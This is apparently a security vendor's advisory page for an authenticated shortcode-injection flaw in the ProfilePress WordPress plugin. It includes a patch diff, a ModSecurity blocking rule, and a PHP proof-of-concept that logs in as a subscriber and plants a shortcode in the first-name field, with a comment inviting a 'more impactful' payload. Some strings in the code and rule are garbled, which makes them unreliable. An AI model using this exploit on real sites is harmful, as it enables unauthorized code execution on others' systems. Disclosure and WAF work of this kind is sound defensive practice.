+return array('root' => array('name' => '__root__', 'pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '1dc62eb57d2882701429bac914b23e37a9a86dfa', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => true), 'versions' => array('__root__' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '1dc62eb57d2882701429bac914b23e37a9a86dfa', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false), 'barryvdh/composer-cleanup-plugin' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '80cceff45bfb85a0f49236537b1f1c928a1ee820', 'type' => 'composer-plugin', 'install_path' => __DIR__ . '/../barryvdh/composer-cleanup-plugin', 'aliases' => array(0 => '0.1.x-dev'), 'dev_requirement' => false), 'brick/math' => array('pretty_version' => '0.9.3', 'version' => '0.9.3.0', 'reference' => 'ca57d18f028f84f777b2168cd1911b0dee2343ae', 'type' => 'library', 'install_path' => __DIR__ . '/../brick/math', 'aliases' => array(), 'dev_requirement' => false), 'carbonphp/carbon-doctrine-types' => array('pretty_version' => '2.1.0', 'version' => '2.1.0.0', 'reference' => '99f76ffa36cce3b70a4a6abce41dba15ca2e84cb', 'type' => 'library', 'install_path' => __DIR__ . '/../carbonphp/carbon-doctrine-types', 'aliases' => array(), 'dev_requirement' => false), 'collizo4sky/persist-admin-notices-dismissal' => array('pretty_version' => '1.4.5', 'version' => '1.4.5.0', 'reference' => '163b868c98cf97ea15b4d7e1305e2d52c9242e7e', 'type' => 'library', 'install_path' => __DIR__ . '/../collizo4sky/persist-admin-notices-dismissal', 'aliases' => array(), 'dev_requirement' => false), 'league/csv' => array('pretty_version' => '9.8.0', 'version' => '9.8.0.0', 'reference' => '9d2e0265c5d90f5dd601bc65ff717e05cec19b47', 'type' => 'library', 'install_path' => __DIR__ . '/../league/csv', 'aliases' => array(), 'dev_requirement' => false), 'nesbot/carbon' => array('pretty_version' => '2.73.0', 'version' => '2.73.0.0', 'reference' => '9228ce90e1035ff2f0db84b40ec2e023ed802075', 'type' => 'library', 'install_path' => __DIR__ . '/../nesbot/carbon', 'aliases' => array(), 'dev_requirement' => false), 'pelago/emogrifier' => array('pretty_version' => 'v6.0.0', 'version' => '6.0.0.0', 'reference' => 'aa72d5407efac118f3896bcb995a2cba793df0ae', 'type' => 'library', 'install_path' => __DIR__ . '/../pelago/emogrifier', 'aliases' => array(), 'dev_requirement' => false), 'psr/clock' => array('pretty_version' => '1.0.0', 'version' => '1.0.0.0', 'reference' => 'e41a24703d4560fd0acb709162f73b8adfc3aa0d', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/clock', 'aliases' => array(), 'dev_requirement' => false), 'psr/clock-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0')), 'sabberworm/php-css-parser' => array('pretty_version' => 'v8.9.0', 'version' => '8.9.0.0', 'reference' => 'd8e916507b88e389e26d4ab03c904a082aa66bb9', 'type' => 'library', 'install_path' => __DIR__ . '/../sabberworm/php-css-parser', 'aliases' => array(), 'dev_requirement' => false), 'sniccowp/php-scoper-wordpress-excludes' => array('pretty_version' => '6.9.1', 'version' => '6.9.1.0', 'reference' => '94867711087d0efc3d361dbe068044e0124f4c0b', 'type' => 'library', 'install_path' => __DIR__ . '/../sniccowp/php-scoper-wordpress-excludes', 'aliases' => array(), 'dev_requirement' => true), 'stripe/stripe-php' => array('pretty_version' => 'v16.6.0', 'version' => '16.6.0.0', 'reference' => 'd6de0a536f00b5c5c74f36b8f4d0d93b035499ff', 'type' => 'library', 'install_path' => __DIR__ . '/../stripe/stripe-php', 'aliases' => array(), 'dev_requirement' => false), 'symfony/css-selector' => array('pretty_version' => 'v5.4.45', 'version' => '5.4.45.0', 'reference' => '4f7f3c35fba88146b56d0025d20ace3f3901f097', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/css-selector', 'aliases' => array(), 'dev_requirement' => false), 'symfony/deprecation-contracts' => array('pretty_version' => 'v2.5.4', 'version' => '2.5.4.0', 'reference' => '605389f2a7e5625f273b53960dc46aeaf9c62918', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/deprecation-contracts', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-mbstring' => array('pretty_version' => 'v1.38.2', 'version' => '1.38.2.0', 'reference' => 'd3d318bad5e7a1bfbd026009c8bfb8d8f99ae6b6', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-mbstring', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-php80' => array('pretty_version' => 'v1.37.0', 'version' => '1.37.0.0', 'reference' => 'dfb55726c3a76ea3b6459fcfda1ec2d80a682411', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-php80', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation' => array('pretty_version' => 'v5.4.45', 'version' => '5.4.45.0', 'reference' => '98f26acc99341ca4bab345fb14d7b1d7cb825bed', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/translation', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation-contracts' => array('pretty_version' => 'v2.5.4', 'version' => '2.5.4.0', 'reference' => '450d4172653f38818657022252f9d81be89ee9a8', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/translation-contracts', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '2.3'))));
--- a/wp-user-avatar/wp-user-avatar.php
+++ b/wp-user-avatar/wp-user-avatar.php
@@ -3,7 +3,7 @@
  * Plugin Name: ProfilePress
  * Plugin URI: https://profilepress.com
  * Description: The modern WordPress membership and user profile plugin.
- * Version: 4.16.19
+ * Version: 4.17.0
  * Author: ProfilePress Membership Team
  * Author URI: https://profilepress.com
  * Text Domain: wp-user-avatar
@@ -13,7 +13,7 @@
 defined('ABSPATH') or die("No script kiddies please!");

 define('PROFILEPRESS_SYSTEM_FILE_PATH', __FILE__);
-define('PPRESS_VERSION_NUMBER', '4.16.19');
+define('PPRESS_VERSION_NUMBER', '4.17.0');

 if ( ! defined('PPRESS_STRIPE_API_VERSION')) {
     define('PPRESS_STRIPE_API_VERSION', '2024-06-20');

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-18385
# Blocks requests submitting a shortcode pattern to the POST body of the profile update endpoint.
SecRule REQUEST_METHOD "@streq POST" "id:2026183,phase:2,deny,status:403,chain,msg:'CVE-2026-18385 - Arbitrary Shortcode Execution via Profile Update',severity:'CRITICAL',tag:'CVE-2026-18385'"
    SecRule REQUEST_URI "@rx ^/wp-admin/profile.php$" "chain"
        SecRule ARGS_POST:first_name|ARGS_POST:last_name|ARGS_POST:description "@rx [+[^]]+]+" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-18385 - Authenticated (Subscriber+) Arbitrary Shortcode Execution via First Name / Last Name Profile Field

// This PoC demonstrates how an authenticated subscriber can inject a shortcode via their First Name field.
// The shortcode will be executed when the profile is rendered.

$target_url = 'http://your-wordpress-site.com'; // WordPress base URL
$user_login = 'subscriber_username';
$user_password = 'subscriber_password';

// The shortcode to execute. This example uses a benign one to demonstrate execution.
// Replace with a more impactful shortcode for a real attack.
$malicious_shortcode = '[contact-form-7 id="123"]'; // A common plugin shortcode

// --- Step 1: Login as the subscriber ---
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'log' => $user_login,
    'pwd' => $user_password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);

echo "[+] Logged in as $user_loginn";

// --- Step 2: Update the First Name field with the malicious shortcode ---
// Get the profile edit page to find a valid nonce.
$profile_url = $target_url . '/wp-admin/profile.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $profile_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$profile_page = curl_exec($ch);
curl_close($ch);

preg_match('/name="_wpnonce" value="([^"]+)"/', $profile_page, $matches);
if (!isset($matches[1])) {
    die('[-] Could not find nonce. Exiting.n');
}
$nonce = $matches[1];
echo "[+] Found nonce: $noncen";

$update_url = $target_url . '/wp-admin/profile.php';
$post_data = [
    '_wpnonce' => $nonce,
    'action' => 'update',
    'first_name' => $malicious_shortcode, // Inject the shortcode here
    'last_name' => '',
    'nickname' => $user_login,
    'email' => 'subscriber@example.com', // Ensure this matches the user's email
    'description' => ''
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $update_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$update_response = curl_exec($ch);
curl_close($ch);

echo "[+] Profile updated with malformed shortcode payload.n";

// --- Step 3: Trigger the vulnerable shortcode execution ---
// This requires visiting a page that renders the attacker's profile using a vulnerable format.
// The link below is a placeholder; adjust to the actual URL where the profile is displayed.
$vulnerable_page = $target_url . '/members/' . $user_login . '/?profile-display-name=first_last_names';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $vulnerable_page);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$page_content = curl_exec($ch);
curl_close($ch);

if (strpos($page_content, 'contact-form-7') !== false) {
    echo "[+] Vulnerability triggered! Shortcode output found in page response.n";
} else {
    echo "[-] Vulnerability not triggered. Check the URL or the shortcode.n";
}

// Clean up
unlink('cookies.txt');

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.